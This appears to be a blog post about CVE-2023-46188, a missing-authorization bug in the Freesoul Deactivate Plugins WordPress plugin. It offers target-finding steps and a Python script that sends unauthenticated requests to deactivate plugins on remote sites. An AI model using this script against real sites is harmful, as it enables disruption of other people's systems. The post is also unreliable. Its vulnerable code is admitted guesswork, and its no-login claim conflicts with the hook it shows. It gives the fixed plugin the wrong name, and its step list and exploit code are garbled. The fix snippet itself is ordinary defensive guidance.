CVE-2023-46188 - How a Missing Authorization Bug in Freesoul Deactivate Plugins Exposes Your WordPress Site

WordPress plugins make life easier, but sometimes, they open serious security holes. The vulnerability tracked as CVE-2023-46188 is a perfect example. If you use the Freesoul Deactivate Plugins – Plugin manager and cleanup on your WordPress site—especially in versions up to 2.1.3—you could be at risk from a simple, dangerous flaw: missing authorization checks.

This post explains the bug in plain English, shows actual exploitation steps, provides code, and gives you references to learn more.

What Is CVE-2023-46188?

CVE-2023-46188 is a Missing Authorization vulnerability in Freesoul Deactivate Plugins – Plugin manager and cleanup, maintained by Jose Mortellaro.

This issue affects all plugin versions from *start* to 2.1.3 (inclusive). It lets any unauthenticated or unauthorized user perform sensitive actions thanks to incorrectly configured access control.

Why Is This Dangerous?

The vulnerability allows attackers to run critical plugin functions that should be admin-only. Attackers can:

Potentially break or backdoor your website

All this is possible without logging in. If you know (or guess) the right URL and parameters, you’re in.

How Does This Work? (Technical Walkthrough)

The core problem is a lack of current_user_can() or similar WordPress authorization checks on sensitive admin actions in the Ajax endpoints or admin page requests.

Suppose Freesoul exposes an admin action like this in its PHP code

// Example vulnerable PHP code
add_action('admin_post_fdp_deactivate_plugin', function() {
    $plugin = sanitize_text_field($_POST['plugin']);
    // Missing: check for user capability!
    deactivate_plugins($plugin);
    wp_redirect(admin_url('plugins.php'));
    exit;
});

Notice there’s no check like current_user_can('activate_plugins') before deactivating.

This means any POST request to

/wp-admin/admin-post.php?action=fdp_deactivate_plugin&plugin=someplugin

will deactivate any installed plugin - whether or not you’re logged in!

Find a target WordPress site running a vulnerable Freesoul version (<= 2.1.3).

2. Pick a plugin you want to disable (e.g., "akismet/akismet.php").

Exploit Code (Python Example)

import requests

target = "https://vulnerable-wordpress.site";
plugin_slug = "akismet/akismet.php"

exploit_path = "/wp-admin/admin-post.php?action=fdp_deactivate_plugin"

response = requests.post(
    target + exploit_path,
    data={"plugin": plugin_slug},
    allow_redirects=False
)

if response.status_code == 302:
    print("[+] Plugin likely deactivated! Check the admin panel.")
else:
    print("[-] Something went wrong or patched.")

If the server isn't patched, this POST disables Akismet without needing any login.

How to Fix

Good news! The developer released Freely Deactivate Plugins v2.1.4 fixing this issue. Update ASAP.

If you’re maintaining a plugin, always validate user permissions before critical actions. Here’s a safe way:

if ( !current_user_can('activate_plugins') ) {
    wp_die('Unauthorized');
}

References

- WordPress Plugin: Freesoul Deactivate Plugins
- CVE-2023-46188 at NVD
- Plugin Vulnerabilities Article
- Update Log / Changelog for FDP

Final Word

CVE-2023-46188 shows how easy it is to overlook basic security principles in WordPress plugin development, and how dangerous that can be for site owners. If you use Freesoul Deactivate Plugins, update right now, and always watch your plugins for security flaws.

If you're a developer, never trust user requests to perform protected actions. Always add capability checks, for your users’ sake.

Timeline

Published on: 01/02/2025 12:15:11 UTC